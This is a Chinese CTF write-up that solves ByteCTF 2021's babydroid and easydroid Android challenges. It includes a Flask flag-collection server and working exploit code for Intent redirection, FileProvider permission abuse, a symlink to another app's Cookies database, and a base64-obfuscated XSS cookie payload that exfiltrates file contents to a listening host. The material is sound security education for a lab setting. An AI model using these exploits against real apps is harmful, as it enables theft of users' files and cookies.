Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup
1. 环境搭建
系统:
Ubuntu 18.04
步骤:
- 安装dokcer。
- 在虚拟机上,运行
flask服务器。将打包好的pwn.apk放在服务器上。一是,在之后运行的脚本中可以在服务器上下载这个apk。二是,做URL参数解析,用来接收传出的flag。
from flask import Flask, request, send_from_directory
import os
app = Flask(__name__, static_folder='dist')
@app.route("/")
def hello():
return "hello world"
# URL参数解析
@app.route('/getUrlParam')
def getUrlParam():
# name=request.args["name"]
# password=request.args["password"]
flag = request.args["msg"]
with open("./flag.sql",'w') as f:
f.write(flag)
# print("name:"+name)
# print("password:"+password)
s = "flag: %s"%flag
print(s)
return s
@app.route('/test')
def test():
print("test")
return app.send_static_file('test.html')
# easydroid XSS
@app.route('/exp.html')
def ret_exp():
print('exp.html')
return app.send_static_file('exp.html')
@app.route('/easydroid.html')
def ret_easydroid():
print('easydroid.html')
return app.send_static_file('easydroid.html')
# pwn.apk下载
@app.route('/download/<filename>', methods=['GET'])
def download(filename):
if request.method == "GET":
path = os.path.isfile(os.path.join(app.config['DOWNLOAD_FOLDER'], filename));
if path:
return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename, as_attachment=True)
if __name__ == "__main__":
app.config['DOWNLOAD_FOLDER'] = 'dist/download/'
app.run(host='0.0.0.0',port =5000)
- 在
~/ByteCTF2021_Android/babydroid/src_babydroid目录下执行run.sh脚本,生成babydroid容器。docker镜像中有Android虚拟环境。下载镜像需要十到十五分钟。sudo bash run.sh
- 进入babydroid容器,在
/challeng目录下,执行server.py文件。容器中会自动在emulator中执行pwn.apk,发动攻击,传出flag。python3 server.py
- 在
flask服务器上接收传出的flag。
遇到的一些小问题
1.
需要打开虚拟机CPU虚拟化,在后来docker中虚拟kvm环境时需要。

在运行虚拟机是可能会提示无法虚拟化CPU,这种情况一般有以下三种原因:
- CPU确实无法虚拟化(无法解决)
- BIOS设置中未开启CPU
- 开启了Hyper-V导致VMware无法直接接触物理层(我就是这个原因,之前使用了WSL,开启了Hyper-V,导致在VMware中无法CPU虚拟化)
2.
在emulator启动时会有如下报错,如果不在启动脚本中修改ADB_PORT会导致之后获得flag后,无法建立HTTP连接。


在脚本中修改如下:

3.
在获得flag后,因为安卓不方便控制台输出。所以exp选择用http把flag传出来。

在虚拟机上部署一个简单的flask,用来做url参数解析,即可获得传出的flag。


2. babydroid
1. 原理
题目漏洞点
babydroid的文件目录

FlagReceiver.java
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if(flag!=null){
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}

系统广播flag后,广播接收器接收到flag,将它写入file的位置。我们就知道要想拿到flag,即是要读取/data/user/0/com.bytectf.babydroid/files/flag。
Vulnerable.java中的Intent重定向漏洞
package com.bytectf.babydroid;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Parcelable;
import androidx.annotation.Nullable;
public class Vulnerable extends Activity {
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent().getParcelableExtra("intent");
startActivity(intent);
}
}
在第14行中,将Intent中的Extra属性中的值反序列化生成一个新的Intent。
在第15行中,把新生成的不可信的Intent传给startActivity(),再以Vulnerable.java的身份执行startActivity(intent)。
我们可以自己构造一个显式Intent,运行Vulnerable.java,并在Extra中放入一个序列化的危险Intent。Intent的重定向问题即发生在此。
AndroidManifest.xml中的文件临时授权问题
AndroidManifest.xml
...
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="androidx.core.content.FileProvider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths"/>
</provider>
...
file_paths.xml
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path="" />
</paths>
在AndroidManifest.xml中,android:name的值是实现 Content Provider 的类的名称,应该是一个完全限定的类名。android:authorities的值是一个或多个 URI 授权方的列表,这些 URI 授权方用于标识 Content Provider 提供的数据。android:exported="false"虽然不允许外部组件访问数据,但是android:grantUriPermissions="true",可以通过授予权限,让应用组件对受权限保护的数据进行一次性访问。
在file_paths.xml中,通过为每个目录添加一个XML元素来指定目录。在AndroidManifest.xml中,<meta-data>子元素 <provider>指向一个 XML 文件,已经指定了共享文件xml文件的目录。</provider></meta-data>
如何授予文件临时读写权限
在构造Intent组件时,data设置为content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag,flag设置为Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION,赋予临时数据读写权限。
public static final int FLAG_GRANT_PERSISTABLE_URI_PERMISSION = 64;
public static final int FLAG_GRANT_PREFIX_URI_PERMISSION = 128;
public static final int FLAG_GRANT_READ_URI_PERMISSION = 1;
public static final int FLAG_GRANT_WRITE_URI_PERMISSION = 2;
把想赋予的不同临时权限求亦或和,赋给flag,通过Intent打开的组件就可以获得对应的临时权限。
pwn思路
构造一个嵌套的Intent,并借助Vulnerable.java转发。因为fileProvider存在文件临时读写问题,故可在转发的过程中,赋予pwn临时读写flag文件的权限。最后用http传出。

2. 步骤
1
构造一个嵌套的Intent。
Intent evil = new Intent("evil");
evil.setClass(this,MainActivity.class);
evil.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent",evil);
先构造需要Vulnerable.java转发的Intent类evil,然后将evil序列化后放入跳转到Vulnerable的intent的Extra属性中。注意,evil的Flags要设置为3,这样被跳转的pwn就获得了文件临时读写权限。
如此便构造了一个嵌套的Intent。


2
通过嵌套的Intent以及Vulnerable中的重定向漏洞,从pwn跳转到Vulnerable,再从Vulnerable把intent的Extra反序列化为Intent类跳转到pwn。使pwn获得临时读写com.bytectf.babydroid的权限。

3
pwn读取flag,通过http传出来。
InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());
String s = Base64.encodeToString(IOUtils.toString(inputStream).getBytes("UTF-8"), Base64.DEFAULT).replaceAll("\n", "");
httpGet(s);

在服务器上获得flag。
3. 考查知识点
- Intent组件的跳转
https://developer.android.google.cn/reference/android/content/Intent
https://www.notion.so/Intent-0ce819a19ce04ade8b6b910c4d7153c0
https://www.jianshu.com/p/add5d8ec8ffb - FileProvider对共享文件夹的权限控制
https://developer.android.google.cn/reference/androidx/core/content/FileProvider
https://developer.android.google.cn/guide/topics/manifest/provider-element#auth
https://developer.android.google.cn/training/secure-file-sharing/setup-sharing
3. easydroid
1. 原理
题目漏洞点
easydroid的文件目录

FlagReciever.java
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if(flag!=null){
try {
flag = Base64.encodeToString(flag.getBytes("UTF-8"), Base64.DEFAULT);
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setCookie("https://tiktok.com/", "flag="+flag);
Log.e("FlagReceiver", "received flag.");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
}
把接收到的flag存入到持久化Cookies中。在本类中,Cookies是以.db的形式存储在/data/data/com.bytectf.easydroid/app_webview/Cookies中。所以,我们希望拿到flag就是希望能把Cookies传出来。
Mainactivity.java
if(data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")){
WebView webView = new WebView(getApplicationContext());
webView.setWebViewClient(new WebViewClient(){
@SuppressLint("WrongConstant")
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Uri uri = Uri.parse(url);
if(uri.getScheme().equals("intent")){
try {
startActivity(Intent.parseUri(url,1));
} catch (URISyntaxException e) {
e.printStackTrace();
}
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}
});
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(data.toString());
}
第1行的URL验证,使用了contains(),不太严格,很容易被绕过。
第6到17行,重载了shouldOverrideUrlLoading)函数,存在Intent重定向漏洞。在Webview加载URL前,可能会先执行Intent的跳转。注意,这里的URL不一定是Intent传来的,也可能是脚本中需要打开的网页。
TestActivity.java
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
WebView webView = new WebView(getApplicationContext());
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(url);
}
TestActivity中的Webview因为不导出,所以只能借助MainActivity中的Intent重定向来间接访问。setAllowFileAccess在api 29及以下默认打开(常被开发者忽略),又因为Webview一般都会用到js,所以基本都会用setJavaScriptEnable。当这二者同时打开时,风险就出现了,而且这是一个很常见的风险。 (在谷歌的修复建议 https://support.google.com/faqs/answer/9084685 中,其实已经将该漏洞的利用思路指出来了)

pwn思路
使用XSS攻击,通过在Cookies中插入js脚本,当Webview把Cookies当作.html渲染时,将Cookies文件传出来就可以拿到flag。
在pwn中构造一个Intent,通过Intent重定向运行MainActivity,因为Activity中有不严格的URL校验,可以绕过执行脚本easydroid.html。在easydroid.html脚本中,先通过TestActivity渲染exp.html文件,将恶意的<script>保存到Cookies中。再通过TestActivity渲染symlink.html(Cookies),将恶意代码执行。

2. 步骤
1
在pwn中建立/data/user/0/com.bytectf.pwneasydroid/symlink.html指向/data/user/0/com.bytectf.easydroid/app_webview/Cookies的软连接。因为后面渲染symlink.html时会有URL检查。
Pwn Easydroid/MainActivity.java
private String symlink() {
try {
String root = getApplicationInfo().dataDir;
String symlink = root + "/symlink.html";
String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";
Runtime.getRuntime().exec("rm " + symlink).waitFor();
Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
return symlink;
} catch (Throwable th) {
throw new RuntimeException(th);
}
}

2
在pwn中,构造一个Intent,跳转启动MainActivity。Intent的Data可设置为http://toutiao.com@10.24.32.128:5000/easydroid.html用以绕过检验,访问恶意脚本。
Pwn Easydroid/MainActivity.java
Intent intent = new Intent();
intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");
intent.setData(Uri.parse("http://toutiao.com@10.24.32.128:5000/easydroid.html"));
startActivity(intent);
Easydroid/MainActivity.java
if(data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")){
WebView webView = new WebView(getApplicationContext());
webView.setWebViewClient(new WebViewClient(){
@SuppressLint("WrongConstant")
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Uri uri = Uri.parse(url);
if(uri.getScheme().equals("intent")){
try {
startActivity(Intent.parseUri(url,1));
} catch (URISyntaxException e) {
e.printStackTrace();
}
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}
});
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(data.toString());
}
3
渲染easydroid.html,通过TestActivity渲染exp.html,将危险<script>写入Cookies文件。
easydroid.html
hahaha1
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms))
}
sleep(1000).then(() => {
location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=http%3A%2F%2F10.24.32.128:5000%2Fexp.html;end";
// Intent { act=android.intent.action.VIEW cmp=com.bytectf.easydroid/.TestActivity (has extras) } mExtras: Bundle[{url=http://10.24.32.128:5000/exp.html}]
sleep(40000).then(() => {
location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2F%2F%2Fdata%2Fdata%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end";
// Intent { act=android.intent.action.VIEW cmp=com.bytectf.easydroid/.TestActivity (has extras) } mExtras: Bundle[{url=file:///data/data/com.bytectf.pwneasydroid/symlink.html}]
})
})
</script>
第8行,第11行,location.href打开网页。将构造好的Intent作为参数,传给shouldOverrideUrlLoading进行Intent重定向。跳转到TestActivity渲染exp.html。
第10行,等待40秒再渲染下一个网页,是因为打开网页,缓存Cookie需要20~40秒时间。
exp.html
<h1>injected cookie with xss</h1>
<script>document.cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMC4yNC4zMi4xMjg6NTAwMC9nZXRVcmxQYXJhbT9tc2c9IiArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaHRtbCIpWzBdLmlubmVySFRNTCk7Cg=='))\">'"</script>
<!-- new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);\n -->
第2行,将恶意JS代码作为Cookie值存在Cookies文件中。
4
TestActivity中Webview的setAllowFileAccess和setJavaScriptEnable都已经打开,所以Webview可以渲染文件因为之前建立好了软链接,通过跳转TestActivity渲染file:///data/data/com.bytectf.pwneasydroid/symlink.html即是渲染/data/data/com.bytectf.easydroid/Cookies。
new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);
将Cookies文件中的全部内容作为文本,通过http传出来。

在flask服务器上接到flag。因为Cookies在安卓中是以sqlite的.db形式保存,所以以文本形式打开会有乱码。但因为我们在FlagReciever中已经知道flag放在什么地方,所以乱码也不影响我们读到flag。
3. 考查知识点
- Intent重定向
- WebView组件
https://developer.android.com/reference/android/webkit/WebView
https://developer.android.com/reference/android/webkit/WebViewClient#shouldOverrideUrlLoading(android.webkit.WebView,%20java.lang.String)
https://developer.android.com/reference/android/webkit/CookieManager#setCookie(java.lang.String,%20java.lang.String) - XSS攻击
https://zhuanlan.zhihu.com/p/342603075
4. 问题
1.为什么需要TestActivity来渲染exp.html和symlink.html?只用MainActivity不可以吗?
可以在easydroid.html脚本中,构造这样的 Intent : {cmp=com.bytectf.easydroid/.MainActivity data='http://toutiao.com@10.24.32.128:5000/exp.html'}。
easydroid.html中的第二个URL的scheme是file://,在MainActivity.java中绕不过。
2.恶意js代码为什么需要btoa加密一下?
exp.html
<h1>injected cookie with xss</h1>
<script>document.cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMC4yNC4zMi4xMjg6NTAwMC9nZXRVcmxQYXJhbT9tc2c9IiArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaHRtbCIpWzBdLmlubmVySFRNTCk7Cg=='))\">'"</script>
<!-- new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);\n -->
直接明文的话,可能有保护机制,容易被截断。
3.为什么可以将其他app中的文件软链接进自己的文件夹中?这样不是很不安全吗?
Pwn Easydroid/MainActivity.java
private String symlink() {
try {
String root = getApplicationInfo().dataDir;
String symlink = root + "/symlink.html";
String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";
Runtime.getRuntime().exec("rm " + symlink).waitFor();
Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
return symlink;
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
软链接并没有不安全,主要要看软连接指向的那个文件,UID是否有读写权限。在这道问题中,symlink-->cookies,symlink被赋予777权限,可以被其他应用访问。而后是通过Easydroid的TestActivity.java来访问symlink-->cookies,这样TestActivity是可以访问cookies的。
4.一个app中的startactivity(Intent)跳转到了另一个app中,新运行的app是在原有app的沙箱中执行吗?换句话说,新执行的app可以访问原有app的文件夹中的文件吗?
如果不可以,那么Easydroid/TestActivity怎么可以渲染/data/user/0/com.bytectf.pwneasydroid/symlink.html。第一道题pwn也不应该能访问babydroid的文件夹。
Intent跳转本身是不携带任何权限的,文件读写权限的操作是在之前就处理好的。
-
Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup
- 1. 环境搭建
- 系统:
- 步骤:
- 遇到的一些小问题
- 1.
- 2.
- 3.
- 2. babydroid
- 1. 原理
- 题目漏洞点
- babydroid的文件目录
- FlagReceiver.java
- Vulnerable.java中的Intent重定向漏洞
- AndroidManifest.xml中的文件临时授权问题
- 如何授予文件临时读写权限
- pwn思路
- 2. 步骤
- 1
- 2
- 3
- 3. 考查知识点
- 3. easydroid
- 1. 原理
- 题目漏洞点
- easydroid的文件目录
- FlagReciever.java
- Mainactivity.java
- TestActivity.java
- pwn思路
- 2. 步骤
- 1
- 2
- 3
- 4
- 3. 考查知识点
- 4. 问题
- 1.为什么需要TestActivity来渲染exp.html和symlink.html?只用MainActivity不可以吗?
- 2.恶意js代码为什么需要btoa加密一下?
- 3.为什么可以将其他app中的文件软链接进自己的文件夹中?这样不是很不安全吗?
- 4.一个app中的startactivity(Intent)跳转到了另一个app中,新运行的app是在原有app的沙箱中执行吗?换句话说,新执行的app可以访问原有app的文件夹中的文件吗?
转载
分享
没有评论